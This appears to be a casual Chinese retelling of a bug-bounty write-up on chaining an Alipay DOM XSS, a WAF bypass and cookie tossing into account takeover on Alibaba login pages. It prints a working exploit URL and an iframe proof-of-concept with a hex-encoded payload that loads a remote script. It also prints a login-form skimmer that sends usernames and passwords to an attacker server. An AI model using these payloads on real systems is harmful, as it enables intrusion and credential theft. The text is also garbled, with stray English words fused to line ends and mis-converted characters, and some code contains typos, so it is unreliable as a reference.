原文地址是:https://medium.com/@y.shahinzadeh/chaining-multiple-vulnerabilities-waf-bypass-to-account-takeover-in-almost-all-alibabas-websites-f8643eaa2855javascript
可是我不想翻譯,我也不想用那機器人同樣的翻譯方式 嘿老夥計,我發誓,我必定要狠狠的踢你的屁股。那種方式去翻譯。我就以個人理解,我最大,哈哈哈哈 來翻譯。OKhtml
======translateing begins ===========前端
前置知識html5
其因是alibaba.com在hackerone上有一個項目,獎勵的範圍用老外的話來講是很是大。哈哈哈哈 huge scope 嚇尿老外了。java
老外說要從jsonp下手,他說jsonp之類的一些會操做cookie,可能老外對cookie之類的傳輸安全什麼的很看重,畢竟拿到cookie,基本上就是能夠登陸你的帳號了jquery
jsonp由於是跨域加載的,因此他會加入其餘外部的一些域的內容,這可能會有一些安全問題,如下是一個正常的jsonp請求過程web
根據RFC6265的規定,a.b.com能夠設置一個屬性爲.b.com或a.b.com屬性的cookie鍵值,並且訪問b.com的時候很天然的.b.com的這個cookie也會被髮送過去。chrome
簡單的來講就是:json
非頂級域名,如二級域名或者三級域名,設置的cookie的domain只能爲頂級域名或者二級域名或者三級域名自己,不能設置其餘二級域名的cookie,不然cookie沒法生成。api
頂級域名只能設置domain爲頂級域名,不能設置爲二級域名或者三級域名,不然cookie沒法生成。
二級域名能讀取設置了domain爲頂級域名或者自身的cookie,不能讀取其餘二級域名domain的cookie。因此要想cookie在多個二級域名中共享,須要設置domain爲頂級域名,這樣就能夠在全部二級域名裏面或者到這個cookie的值了。
頂級域名只能獲取到domain設置爲頂級域名的cookie,其餘domain設置爲二級域名的沒法獲取。
可是!老外畫了一個這個圖 ,雖然看不懂在說什麼(*&……%¥%……&*
瞭解了cookie 的domain使用。接下來就要了解下jQuery等一些框架的dom操做,例如.val()方法,常見的一些框架都會有這樣的dom操做方法,經過dom api快速獲取一些html內容。
假設咱們有這樣的一段html代碼:
<input id="input" value="&"" />
咱們在input裏輸入的是&"
這樣的話,接下來的jquery 使用$.val()方法獲取的結果是
$('#input').val() // return &"
嗯 就是那個 &"
瞭解上面幾個前提知識後能夠逐步開始瞭解這個漏洞的產生過程了。
可是阿里有waf。 嗯。。。 在這個過程當中,老外發現了一個能夠bypass阿里waf的方法。
這個payload不會被攔截 或者跳轉爲其餘的請求302 之類的。
根據實驗,每一個cookie對domain的設置是有限的,在google chrome瀏覽器下對同一個域名只能設置不超過150個的cookie值,firefox能夠達到200個。具體的文檔是http://browsercookielimits.squawky.net/
若是感興趣的話能夠嘗試下下面的代碼
for(var i=0;i<1000;i++){ document.cookie=i+'=1;domain=.alipay.com' } document.cookie='uid=foo;domain=.alipay.com;path=/'
正文開始
啊哦 ,在我翻譯這個文章的時候老外的文章 對這個阿里的xss漏洞被幹掉了,經過公關和諧了。。。嗯 不要緊 我根據我當是閱讀的時候理解從新講述一下
um.__idcb("5cb143654b94f4a5")
這個uid的獲取過程以下
若是沒有這個cookie 會從alipay去加載
第一次請求以下
GET /uid HTTP/1.1 Host: ynuf.alipay.com User-Agent: curl/7.47.0 Accept: */* HTTP/1.1 200 OK Date: Wed, 17 Oct 2018 17:38:10 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding ETag: d181bf00669d40c0 Set-Cookie: uid=d181bf00669d40c0; expires=Thu, 30 Jan 2031 08:00:00 GMT Cache-Control: max-age=315360000, private Server: Tengine/Aserver Strict-Transport-Security: max-age=0 Timing-Allow-Origin: * um.__idcb("26fadf90bac907a7")
第二次請求和返回
GET /uid HTTP/1.1 Host: ynuf.alipay.com User-Agent: curl/7.47.0 Cookie: uid=d181bf00669d40c0 Accept: */* HTTP/1.1 200 OK Date: Sun, 11 Nov 2018 08:47:40 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding ETag: test Cache-Control: max-age=315360000, private Server: Tengine/Aserver Strict-Transport-Security: max-age=0 Timing-Allow-Origin: * um.__idcb("d181bf00669d40c0")
第三次
GET /uid HTTP/1.1 Host: ynuf.alipay.com User-Agent: curl/7.47.0 Cookie: uid=")+alert("Injected Accept: */* HTTP/1.1 200 OK Date: Sun, 11 Nov 2018 08:47:40 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding ETag: test Cache-Control: max-age=315360000, private Server: Tengine/Aserver Strict-Transport-Security: max-age=0 Timing-Allow-Origin: * um.__idcb("")+alert("Injected")
能夠看出 第三次的時候,咱們修改cookie的uid值,就能夠注入惡意代碼,因此咱們拿到一個*.alipay.com下的一個xss就能夠對這個cookie進行操做了。
因此根據cookie的domain設置規則,咱們須要在.alipay.com下注入這個注入這個uid的xss 就可讓alipay.com下的所有子域名都感染這個xss。
uid=")+alert("xss;domain=.alipay.com
可是有個前提 咱們先找個*.alipay.com下的xss。 而後做者在https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&keyword=foo
找到了一個xss
對其中的keyword參數注入了雙引號進行測試。發現返回以下
也就是參數 foo"> 通過瀏覽器編碼 變成foo%22%3e 而後到達服務端進行urldecode還原爲foo">,再進行htmlencode爲foo"e;> 而後返回
以下圖
而這個doc.open.alipay.com下這個搜索結果的內容展現是經過dom生成的。。。。只要是htmlencode後的內容 經過dom生成 依然能夠xss,這是前置知識裏寫的關於jquery之類的一些框架的val方法的原理。
那麼如今的過程就是 foo"> 先通過urldecode 而後通過htmlencode 而後再通過必定過濾。。。而後再輸出
可是再fuzz的過程發現了一個比較嚴重的問題,那就是以下
這個沒過濾 致使 咱們輸入 ">%26gt;script%26lt;
的時候, 通過urldecode後是">>script<
而後這個">>script< 返回後在通過前端框架的val處理 變成xss。
可是這個時候有個waf。。。發現了script關鍵詞 估計就幹掉了,代碼中必須返http請求爲200才能夠正常加載,因此要找一個waf不會觸發的xss 標籤。
最後發現了<details/open/ontoggle=alert`1`>這個辦法。
html5支持這樣的解析方式。。。
好吧
最後就是
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73;domain=.alipay.com;path=/%27%22%3E
最後咱們來構造一下整個過程
構造一個sb.html頁面 代碼以下:
<html> <ce <img src='https://pbs.twimg.com/profile_images/701729713392320512/PaYM_TF4_400x400.jpg'><img> <iframe src="https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x28\x73\x63\x72\x69\x70\x74\x3d\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x27\x73\x63\x72\x69\x70\x74\x27\x29\x2c\x73\x63\x72\x69\x70\x74\x2e\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x2f\x78\x70\x6c\x2e\x6a\x73\x27\x2c\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x62\x6f\x64\x79\x2e\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64\x28\x73\x63\x72\x69\x70\x74\x29\x29\x2b\x28\x22;domain=.alipay.com;path=/%27%22%3E" style="width:0;height:0;border:0; border:none;"></iframe> </html>
這個頁面是個dom xss,並非反射型的哦。這個頁面會執行 覆蓋cookie的操做,而後寫入咱們一個惡意的cookie值,這個cookie是一個js注入的代碼,代碼以下:
"\")+(script=document.createElement('script'),script.src='https://myserver/xpl.js',document.body.appendChild(script))+(\""
這個時候你再去訪問login.alibaba.com, 固然 你先清除uid那個cookie ,服務器發現你沒有uid這個cookie 會去加載上面這個cookie。上面的這個cookie會被文章最開始的um.__idcb("")+alert("Injected") 的一部分執行。也就是動態加載一個script標籤咯。接下來這個動態加載的惡意標籤中的內容以下:
document.forms[0].on submit = function() { var u = document.getElementById('fm-login-id'); var p = document.getElementById('fm-login-password'); var s = new xmlHttpRequets(); s.open('POST', 'https://myserver/xxx-alibaba/'); s.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); s.on readystatechange = function() { if (s.readState == 4) { document.forms[0].submit(); } } s.send(`u=${u}&p=${p}`); return false; }
很簡單,代碼就是經過document.getElementById獲取表單的值,而後經過xmlhttprequest對象發送到服務端
整個過程完成了。
哇塞 其實這是一個很是精彩的xss過程。帥氣